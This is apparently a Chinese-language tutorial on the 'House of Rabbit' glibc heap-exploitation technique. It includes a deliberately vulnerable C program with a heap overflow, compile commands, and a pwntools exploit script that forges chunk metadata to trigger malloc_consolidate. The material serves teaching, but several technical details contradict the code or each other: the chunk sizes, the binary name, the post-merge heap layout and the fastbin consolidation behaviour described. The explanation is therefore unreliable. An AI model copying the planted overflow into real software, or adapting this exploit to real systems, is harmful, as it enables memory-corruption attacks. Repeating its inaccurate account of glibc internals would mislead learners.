House of Rabbit 深度剖析
字数 1323 2025-12-03 12:11:16
House of Rabbit 技术深度剖析
技术概述
House of Rabbit 是一种针对 glibc 堆分配器(ptmalloc2)的高级利用技术。随着 ASLR、PIE、NX 等防护机制的普及,传统栈溢出和代码注入变得困难,攻击焦点转向堆利用。该技术通过可控的堆溢出或写原语,伪造堆块元数据,利用 malloc_consolidate 的向前合并机制,最终实现任意地址分配或写入。
核心原理
malloc_consolidate 机制
malloc_consolidate 是 glibc 堆分配器的关键内部函数,主要功能包括:
- 将 fastbin 中的块移动到 unsorted bin
- 合并相邻的空闲块
- 整理堆内存碎片
触发条件:
- 当 malloc 遇到 large bin 大小的请求(通常 > 64KB)
- 当 malloc 发现 top chunk 不够用时
- 在 free 函数中,当释放的块与 top chunk 相邻时
- 某些特殊的分配模式下
技术核心思想
通过以下步骤实现利用:
- 通过堆溢出或其他内存破坏漏洞,伪造目标堆块的元数据
- 利用
malloc_consolidate触发堆块合并检查 - 让分配器误认为存在合法的空闲块可以合并
- 将伪造的堆块纳入正式管理,实现任意地址分配或写入
实例分析
漏洞程序代码
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define LARGE_CHUNK 0x10000
#define MAX_OBJECTS 10
struct obj {
size_t size;
char *data;
};
struct obj *objects[MAX_OBJECTS];
int count = 0;
void create(size_t size) {
if (count >= 10) return;
objects[count] = malloc(sizeof(struct obj));
objects[count]->size = size;
objects[count]->data = malloc(size);
printf("[+] Created object %d\n", count);
printf(" Struct: %p\n", objects[count]);
printf(" Data: %p\n", objects[count]->data);
count++;
}
void write_data(int idx) {
if (idx < 0 || idx >= count || !objects[idx]) return;
printf("Writing to object %d (size: 0x%lx)\n", idx, objects[idx]->size);
printf("Data: ");
// 关键漏洞:堆溢出,可以多写 0x10 字节
read(0, objects[idx]->data, objects[idx]->size + 0x10);
}
void delete(int idx) {
if (idx < 0 || idx >= count || !objects[idx]) return;
printf("[-] Freeing object %d\n", idx);
free(objects[idx]->data);
free(objects[idx]);
objects[idx] = NULL;
}
void trigger_consolidate() {
printf("[*] Triggering malloc_consolidate with large allocation\n");
// 分配 large chunk 触发 consolidate
void *large = malloc(LARGE_CHUNK);
printf("Large allocation: %p\n", large);
free(large);
}
void setup() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
}
int main() {
setup();
int choice, idx;
while(1) {
printf("\n1. Create chunk\n2. Write data\n3. Delete chunk\n");
printf("4. Trigger consolidate\n5. Exit\n> ");
scanf("%d", &choice);
switch(choice) {
case 1:
printf("Size: ");
size_t size;
scanf("%lu", &size);
create(size);
break;
case 2:
printf("Index: ");
scanf("%d", &idx);
write_data(idx);
break;
case 3:
printf("Index: ");
scanf("%d", &idx);
delete(idx);
break;
case 4:
trigger_consolidate();
break;
case 5:
return 0;
}
}
}
编译与调试
# 调试版本
gcc -g -o rabbit rabbit.c -no-pie -ldl
# 保护版本
gcc -o rabbit rabbit.c -no-pie -Wl,-z,relro,-z,now
利用步骤详解
1. 堆布局与初始状态分析
利用脚本开始:
#!/usr/bin/env python3
from pwn import *
context(arch='amd64', os='linux', log_level='info')
p = process('./rabbit_detailed')
def create(size):
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Size: ', str(size).encode())
def write(idx, data):
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'Index: ', str(idx).encode())
p.sendafter(b'Data: ', data)
def delete(idx):
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'Index: ', str(idx).encode())
def trigger():
p.sendlineafter(b'> ', b'4')
# 建立精确的堆布局
log.info("构建堆布局")
create(0x88) # object 0 - 溢出这个块
create(0x88) # object 1 - 目标块,将被伪造
create(0x88) # object 2 - 保护块,防止与top chunk合并
堆布局分析:
Chunk(addr=0x603010, size=0x250, flags=) # 主分配区
Chunk(addr=0x603260, size=0x90, flags=) # obj0 struct
Chunk(addr=0x6032f0, size=0x90, flags=) # obj1 struct
Chunk(addr=0x603380, size=0x90, flags=) # obj2 struct
Chunk(addr=0x603410, size=0x90, flags=) # obj0->data
Chunk(addr=0x6034a0, size=0x90, flags=) # obj1->data
Chunk(addr=0x603530, size=0x90, flags=) # obj2->data
Chunk(addr=0x6035c0, size=0x20a50, flags=) # top chunk
2. 准备fastbin并分析状态
log.info("准备fastbin")
delete(1) # 释放 obj1->data 到 fastbin
fastbin状态:
fastbins[7]: 0x603490 -> 0x0
被释放chunk详情:
0x603490: 0x0000000000000000 0x0000000000000091 # chunk header
0x6034a0: 0x0000000000000000 0x0000000000000000 # fd指针 (目前为0)
3. 溢出伪造堆块元数据
偏移计算:
- obj0->data用户区: 0x603420
- obj1->data头部: 0x603490
- 偏移 = 0x603490 - 0x603420 = 0x70
伪造脚本:
log.info("伪造堆块元数据")
# 构造恶意payload
payload = b'A' * 0x70 # 填充到obj1->data头部前
payload += p64(0x80) # prev_size = 0x80 (指向obj0->data)
payload += p64(0x20) # size = 0x20, P=0
write(0, payload)
log.info("已修改obj1->data的header:")
log.info(" prev_size = 0x80 -> 指向obj0->data")
log.info(" size = 0x20, P=0 -> 标记前一个块为空闲")
修改后的内存状态:
# obj1->data头部(已修改)
0x603490: 0x0000000000000080 0x0000000000000020
# obj0->data状态(仍为inuse)
0x603410: 0x0000000000000000 0x0000000000000091
0x603420: 0x4141414141414141 0x4141414141414141 # 'A'填充
4. 触发malloc_consolidate并观察合并
log.info("触发malloc_consolidate")
trigger()
合并过程分析:
malloc_consolidate处理 fastbin 中的块- 由于设置了 P=0(前一个块空闲标志),分配器认为 obj0->data 是空闲块
- 检查前一个块(根据 prev_size=0x80 找到 obj0->data)
- 将两个块合并成大小为 0xb0 的大块
- 合并后的块放入 unsorted bin
合并后状态:
unsorted_bins[0]: 0x603400 —▸ 0x7ffff7dd1b78 —▸ 0x603400
# 合并后的chunk
0x603400: 0x0000000000000000 0x00000000000000b1 # 合并后的大小
0x603410: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 # fd/bk指针
5. 验证利用效果并实现控制
log.info("验证利用效果")
create(0x88) # 从控制的unsorted bin中分配
log.success("如果程序没有崩溃,说明堆控制已实现")
write(3, b"TEST_CONTROL")
log.info("尝试写入控制数据")
p.interactive()
分配后的堆状态:
Chunk(addr=0x603010, size=0x250, flags=)
Chunk(addr=0x603260, size=0x90, flags=) # obj0 struct
Chunk(addr=0x6032f0, size=0x90, flags=) # obj1 struct (已free)
Chunk(addr=0x603380, size=0x90, flags=) # obj2 struct
Chunk(addr=0x603410, size=0x90, flags=) # obj0->data (现在被obj3使用)
Chunk(addr=0x6034a0, size=0x90, flags=) # obj1->data (已合并)
Chunk(addr=0x603530, size=0x90, flags=) # obj2->data
Chunk(addr=0x6035c0, size=0x20a50, flags=) # top chunk
完整利用脚本
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
def exploit():
p = process('./rabbit_detailed')
# raw_input("Attach GDB and press Enter...")
def create(size):
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'Size: ', str(size).encode())
def write(idx, data):
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'Index: ', str(idx).encode())
p.sendafter(b'Data: ', data)
def delete(idx):
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'Index: ', str(idx).encode())
def trigger():
p.sendlineafter(b'> ', b'4')
log.info("开始House of Rabbit利用...")
# 堆布局
log.info("构建堆布局")
create(0x88) # 0
create(0x88) # 1目标
create(0x88) # 2保护
# 释放到fastbin
log.info("释放目标块到fastbin")
delete(1)
# 溢出伪造元数据
log.info("溢出伪造chunk元数据")
payload = b'A' * 0x70
payload += p64(0x80) # prev_size
payload += p64(0x20) # size with P=0
write(0, payload)
# 触发consolidate
log.info("触发malloc_consolidate")
trigger()
# 验证控制
log.info("验证堆控制")
create(0x88) # 从控制的unsorted bin分配
log.success("利用完成!获得堆控制权")
p.interactive()
if __name__ == "__main__":
exploit()
技术要点总结
- 精确堆布局:需要精心安排堆块的位置和大小关系
- 元数据伪造:关键是通过溢出修改chunk的prev_size和size字段
- 标志位利用:P位(PREV_INUSE)的清除是触发合并的关键
- 触发条件:需要准确触发
malloc_consolidate机制 - 内存对齐:所有伪造的地址和大小都需要符合堆分配器的对齐要求
防护与检测
- 使用堆完整性检查工具如AddressSanitizer
- 启用堆保护机制如Glibc的
export MALLOC_CHECK_=1 - 定期更新glibc版本以获取最新的安全修复
- 实施严格的输入验证和边界检查
该技术展示了现代堆利用的复杂性,强调了在安全开发中实施深度防御策略的重要性。